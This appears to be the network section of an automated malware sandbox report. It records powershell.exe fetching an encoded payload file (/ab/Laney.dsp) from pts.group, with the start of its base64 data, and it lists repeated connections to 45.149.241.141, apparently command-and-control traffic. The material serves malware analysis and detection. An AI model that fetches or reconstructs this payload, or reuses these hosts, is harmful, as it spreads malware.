Dec 5, 2024 10:40:05.306708097 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306720972 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306720972 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.306720972 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.306735039 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306747913 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.306762934 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306771040 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.306777000 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306792021 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306808949 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306818962 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.306847095 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.307801008 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307816029 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307827950 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307842970 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307854891 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307862997 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.307862997 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.307869911 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307883024 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307888985 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307898998 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.307950020 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307965040 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.307966948 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.308001995 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.311120033 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311172009 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.311197996 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311214924 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311260939 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.311366081 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311378956 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311391115 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311407089 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311423063 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.311453104 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.311696053 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311707973 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311722040 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.311760902 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.313270092 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.313334942 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.313338041 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.313348055 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.313405037 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.313626051 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.314806938 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.314855099 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.314857960 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.314996004 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.315043926 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.315079927 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.317281008 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.317344904 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.317349911 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.317652941 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.317665100 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.317703962 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.318077087 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.318139076 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.318205118 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.318509102 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.318563938 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.318619013 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.319504976 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.319572926 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.319602013 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.320410013 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.320485115 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.320494890 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.321420908 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.321491003 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.321516991 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.322314024 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.322369099 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.566154957 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.685796022 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.685888052 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.805572033 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:06.096729994 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:06.096761942 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:06.096870899 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:06.096910954 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:06.096929073 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:06.216625929 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:06.216667891 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:06.216723919 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:06.453629017 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:06.453692913 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:06.453896999 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:06.454047918 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:06.454061985 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:07.835731030 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:07.835848093 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:07.840430021 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:07.840435982 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:07.840740919 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:07.842211962 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:07.887335062 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:12.627662897 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:12.627746105 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:12.627804995 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:12.627849102 CET	49973	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:12.627868891 CET	443	49973	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:13.625452995 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:13.625509024 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:13.625597954 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:13.625662088 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:13.625674009 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:15.002262115 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:15.002356052 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:15.007340908 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:15.007375956 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:15.007735014 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:15.010731936 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:15.055332899 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:19.799473047 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:19.799580097 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:19.799643040 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:19.799694061 CET	49994	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:19.799710989 CET	443	49994	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:20.813141108 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:20.813184023 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:20.813261986 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:20.813380003 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:20.813393116 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:22.182774067 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:22.182894945 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:22.187123060 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:22.187139034 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:22.187550068 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:22.188437939 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:22.235330105 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:26.980041027 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:26.980124950 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:26.980181932 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:26.980297089 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:26.980315924 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:26.980353117 CET	50001	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:26.980359077 CET	443	50001	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:27.984968901 CET	50002	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:27.985034943 CET	443	50002	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:27.985111952 CET	50002	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:27.985194921 CET	50002	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:27.985207081 CET	443	50002	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:29.362360954 CET	443	50002	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:29.362504959 CET	50002	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:29.362600088 CET	50002	443	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:29.362638950 CET	50002	443	192.168.2.7	45.149.241.141

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 10:38:29.360678911 CET	64486	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:38:29.500754118 CET	53	64486	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:13.117463112 CET	54022	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:13.255968094 CET	53	54022	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:33.917929888 CET	59860	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:33.918221951 CET	52397	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:33.918437958 CET	62430	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:33.918469906 CET	62910	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:33.918670893 CET	50108	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:33.918683052 CET	52732	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:33.919271946 CET	60667	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:34.056605101 CET	53	50108	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:34.058006048 CET	53	60667	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:34.146434069 CET	53	62430	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:34.288649082 CET	53	62910	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:34.570290089 CET	53	59860	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:34.605050087 CET	53	52397	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:34.717698097 CET	53	52732	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:34.745388985 CET	60668	123	192.168.2.7	62.149.0.30
Dec 5, 2024 10:39:34.745445013 CET	60668	123	192.168.2.7	194.58.203.20
Dec 5, 2024 10:39:34.745485067 CET	60668	123	192.168.2.7	213.239.239.164
Dec 5, 2024 10:39:34.745536089 CET	60668	123	192.168.2.7	61.205.120.130
Dec 5, 2024 10:39:34.745575905 CET	60668	123	192.168.2.7	162.159.200.1
Dec 5, 2024 10:39:35.828319073 CET	123	60668	162.159.200.1	192.168.2.7
Dec 5, 2024 10:39:35.923460007 CET	123	60668	194.58.203.20	192.168.2.7
Dec 5, 2024 10:39:35.923829079 CET	123	60668	213.239.239.164	192.168.2.7
Dec 5, 2024 10:39:35.934470892 CET	123	60668	62.149.0.30	192.168.2.7
Dec 5, 2024 10:39:36.018321037 CET	123	60668	61.205.120.130	192.168.2.7
Dec 5, 2024 10:39:41.437010050 CET	53	54098	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:41.700170994 CET	53	58442	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:48.101310015 CET	58995	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:48.101459980 CET	53042	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:48.101798058 CET	50170	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:48.101924896 CET	60345	53	192.168.2.7	1.1.1.1
Dec 5, 2024 10:39:48.238683939 CET	53	58995	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:48.238882065 CET	53	60345	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:48.238945961 CET	53	50170	1.1.1.1	192.168.2.7
Dec 5, 2024 10:39:48.240792990 CET	53	53042	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 5, 2024 10:39:41.799027920 CET	192.168.2.7	1.1.1.1	c236	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 5, 2024 10:38:29.360678911 CET	192.168.2.7	1.1.1.1	0xd41e	Standard query (0)	pts.group	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:13.117463112 CET	192.168.2.7	1.1.1.1	0xa324	Standard query (0)	www.tdejb.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:33.917929888 CET	192.168.2.7	1.1.1.1	0xec7a	Standard query (0)	ts1.aco.net	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:33.918221951 CET	192.168.2.7	1.1.1.1	0xa7d1	Standard query (0)	gbg1.ntp.se	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:33.918437958 CET	192.168.2.7	1.1.1.1	0x8754	Standard query (0)	ntp1.hetzner.de	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:33.918469906 CET	192.168.2.7	1.1.1.1	0x1f1e	Standard query (0)	time.facebook.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:33.918670893 CET	192.168.2.7	1.1.1.1	0xbd7b	Standard query (0)	time.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:33.918683052 CET	192.168.2.7	1.1.1.1	0x663e	Standard query (0)	ntp.time.in.ua	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:33.919271946 CET	192.168.2.7	1.1.1.1	0xe111	Standard query (0)	ntp.nict.jp	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.101310015 CET	192.168.2.7	1.1.1.1	0x9232	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.101459980 CET	192.168.2.7	1.1.1.1	0xefc2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 5, 2024 10:39:48.101798058 CET	192.168.2.7	1.1.1.1	0x990	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.101924896 CET	192.168.2.7	1.1.1.1	0xdb4b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 5, 2024 10:38:29.500754118 CET	1.1.1.1	192.168.2.7	0xd41e	No error (0)	pts.group		68.66.226.116	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:13.255968094 CET	1.1.1.1	192.168.2.7	0xa324	No error (0)	www.tdejb.com	tdejb.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 10:39:13.255968094 CET	1.1.1.1	192.168.2.7	0xa324	No error (0)	tdejb.com		202.71.109.228	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.056605101 CET	1.1.1.1	192.168.2.7	0xbd7b	No error (0)	time.cloudflare.com		162.159.200.1	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.056605101 CET	1.1.1.1	192.168.2.7	0xbd7b	No error (0)	time.cloudflare.com		162.159.200.123	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.058006048 CET	1.1.1.1	192.168.2.7	0xe111	No error (0)	ntp.nict.jp		61.205.120.130	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.058006048 CET	1.1.1.1	192.168.2.7	0xe111	No error (0)	ntp.nict.jp		133.243.238.164	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.058006048 CET	1.1.1.1	192.168.2.7	0xe111	No error (0)	ntp.nict.jp		133.243.238.244	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.058006048 CET	1.1.1.1	192.168.2.7	0xe111	No error (0)	ntp.nict.jp		133.243.238.243	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.058006048 CET	1.1.1.1	192.168.2.7	0xe111	No error (0)	ntp.nict.jp		133.243.238.163	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.146434069 CET	1.1.1.1	192.168.2.7	0x8754	No error (0)	ntp1.hetzner.de		213.239.239.164	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.288649082 CET	1.1.1.1	192.168.2.7	0x1f1e	No error (0)	time.facebook.com		129.134.25.123	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.570290089 CET	1.1.1.1	192.168.2.7	0xec7a	Server failure (2)	ts1.aco.net	none	none	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.605050087 CET	1.1.1.1	192.168.2.7	0xa7d1	No error (0)	gbg1.ntp.se	gbg1.ntp.netnod.se		CNAME (Canonical name)	IN (0x0001)	false
Dec 5, 2024 10:39:34.605050087 CET	1.1.1.1	192.168.2.7	0xa7d1	No error (0)	gbg1.ntp.netnod.se		194.58.203.20	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:34.717698097 CET	1.1.1.1	192.168.2.7	0x663e	No error (0)	ntp.time.in.ua		62.149.0.30	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.238683939 CET	1.1.1.1	192.168.2.7	0x9232	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.238683939 CET	1.1.1.1	192.168.2.7	0x9232	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.238882065 CET	1.1.1.1	192.168.2.7	0xdb4b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 5, 2024 10:39:48.238945961 CET	1.1.1.1	192.168.2.7	0x990	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.238945961 CET	1.1.1.1	192.168.2.7	0x990	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 5, 2024 10:39:48.240792990 CET	1.1.1.1	192.168.2.7	0xefc2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

pts.group

www.tdejb.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49730	68.66.226.116	443	7696	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 09:38:30 UTC	165	OUT	GET /ab/Laney.dsp HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: pts.group Connection: Keep-Alive
2024-12-05 09:38:31 UTC	530	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Thu, 05 Dec 2024 00:23:29 GMT accept-ranges: bytes content-length: 440292 date: Thu, 05 Dec 2024 09:38:31 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 36 77 4a 6f 5a 6e 45 42 6d 37 76 59 39 77 6b 41 36 77 4c 55 6a 4f 73 43 50 6b 55 44 58 43 51 45 63 51 47 62 63 51 47 62 75 62 6b 44 59 6f 72 72 41 6c 4e 49 36 77 49 4b 74 49 48 78 75 50 56 76 35 58 45 42 6d 33 45 42 6d 34 48 42 2f 77 6e 79 6b 4f 73 43 6f 6c 64 78 41 5a 74 78 41 5a 74 78 41 5a 75 36 4d 67 57 42 57 65 73 43 53 37 66 72 41 70 53 4d 63 51 47 62 36 77 49 4f 34 7a 48 4b 63 51 47 62 63 51 47 62 69 52 51 4c 63 51 47 62 63 51 47 62 30 65 4c 72 41 67 39 45 63 51 47 62 67 38 45 45 36 77 4c 69 76 4f 73 43 45 46 43 42 2b 65 67 61 2f 77 4e 38 7a 4f 73 43 6a 4d 44 72 41 74 2b 79 69 30 51 6b 42 4f 73 43 74 57 50 72 41 6c 31 35 69 63 4e 78 41 5a 76 72 41 73 43 34 67 63 4f 69 38 32 63 41 36 77 49 4c 57 58 45 42 6d 37 6f 62 6c 6f 50 4e 36 77 49 58 41 6e 45 Data Ascii: 6wJoZnEBm7vY9wkA6wLUjOsCPkUDXCQEcQGbcQGbubkDYorrAlNI6wIKtIHxuPVv5XEBm3EBm4HB/wnykOsColdxAZtxAZtxAZu6MgWBWesCS7frApSMcQGb6wIO4zHKcQGbcQGbiRQLcQGbcQGb0eLrAg9EcQGbg8EE6wLivOsCEFCB+ega/wN8zOsCjMDrAt+yi0QkBOsCtWPrAl15icNxAZvrAsC4gcOi82cA6wILWXEBm7obloPN6wIXAnE
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 58 52 45 6f 74 61 6b 32 42 48 53 76 33 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: XREotak2BHSv3wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-05 09:38:31 UTC	16384	IN	Data Raw: 57 4f 6e 58 6a 4d 56 65 74 78 62 2b 78 4e 72 30 57 4b 71 34 50 39 4a 65 72 77 36 6a 32 48 6b 6c 4d 31 61 67 64 4a 64 43 78 59 62 61 39 55 33 56 43 2f 53 30 6d 41 36 65 43 53 74 4c 2b 51 55 54 68 55 56 4a 4d 44 62 54 70 34 67 49 4c 59 61 36 48 62 68 63 54 41 45 6f 77 79 2f 4b 56 30 32 64 4b 37 51 53 31 71 43 38 65 62 66 33 75 58 6d 33 38 46 36 70 62 4b 52 6b 54 62 6b 50 50 33 4d 4b 37 37 33 31 65 65 32 65 75 47 65 30 53 53 68 34 37 71 71 49 46 75 6e 45 66 79 6a 4d 64 4d 34 38 41 33 59 43 39 46 36 6b 68 42 52 2b 45 39 70 75 70 58 6e 66 76 77 4c 66 4e 7a 76 43 74 4b 59 47 2f 65 61 59 74 49 6b 5a 32 38 44 55 52 4f 38 6b 6f 4e 35 33 51 71 2f 66 51 48 57 76 33 30 42 31 72 39 39 41 43 55 6b 54 6a 75 70 65 4e 75 66 75 6e 58 6e 61 64 38 52 67 76 6d 68 6f 4c 39 6f Data Ascii: WOnXjMVetxb+xNr0WKq4P9Jerw6j2HklM1agdJdCxYba9U3VC/S0mA6eCStL+QUThUVJMDbTp4gILYa6HbhcTAEowy/KV02dK7QS1qC8ebf3uXm38F6pbKRkTbkPP3MK7731ee2euGe0SSh47qqIFunEfyjMdM48A3YC9F6khBR+E9pupXnfvwLfNzvCtKYG/eaYtIkZ28DURO8koN53Qq/fQHWv30B1r99ACUkTjupeNufunXnad8RgvmhoL9o
